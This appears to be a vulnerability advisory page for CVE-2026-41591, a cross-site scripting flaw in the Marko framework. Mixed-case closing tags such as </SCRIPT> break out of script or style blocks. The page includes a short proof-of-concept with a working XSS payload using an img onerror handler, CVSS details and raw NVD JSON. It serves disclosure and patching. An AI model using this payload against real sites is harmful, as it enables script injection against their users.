Security Vulnerability Report
中文
CVE-2026-41591 CVSS 6.4 MEDIUM

CVE-2026-41591

Published: 2026-05-08 16:16:11
Last Modified: 2026-05-08 22:16:31

Description

Marko is a declarative, HTML-based language for building web apps. Prior to marko version 5.38.36 and prior to @marko/runtime-tags 6.0.164, when dynamic text is interpolated into a <script> or <style> tag the Marko runtime failed to prevent tag breakout when the closing tag used non-lowercase casing. An attacker able to place input inside a <script> or <style> block could break out of the tag with </SCRIPT>, </Style>, etc. and inject arbitrary HTML/JavaScript, resulting in cross-site scripting. This issue has been patched in marko version 5.38.36 and @marko/runtime-tags 6.0.164.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Marko < 5.38.36
@marko/runtime-tags < 6.0.164

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC Concept: Marko XSS via Non-lowercase Closing Tag --> // Vulnerable Template (marko): // <script> // var userInput = ${input}; // </script> // Malicious Payload: // The payload uses uppercase characters to bypass the lowercase-only filter. const payload = '</SCRIPT><img src=x onerror=alert(1)>'; // Rendered HTML in vulnerable version: // <script> // var userInput = </SCRIPT><img src=x onerror=alert(1)>; // </script> // Result: // The browser interprets </SCRIPT> as the end of the script block, // causing the <img> tag to be rendered and the JavaScript alert(1) to execute.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41591", "sourceIdentifier": "[email protected]", "published": "2026-05-08T16:16:11.167", "lastModified": "2026-05-08T22:16:30.647", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Marko is a declarative, HTML-based language for building web apps. Prior to marko version 5.38.36 and prior to @marko/runtime-tags 6.0.164, when dynamic text is interpolated into a <script> or <style> tag the Marko runtime failed to prevent tag breakout when the closing tag used non-lowercase casing. An attacker able to place input inside a <script> or <style> block could break out of the tag with </SCRIPT>, </Style>, etc. and inject arbitrary HTML/JavaScript, resulting in cross-site scripting. This issue has been patched in marko version 5.38.36 and @marko/runtime-tags 6.0.164."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/marko-js/marko/security/advisories/GHSA-x9fj-57fh-c8wq", "source": "[email protected]"}, {"url": "https://github.com/marko-js/marko/security/advisories/GHSA-x9fj-57fh-c8wq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}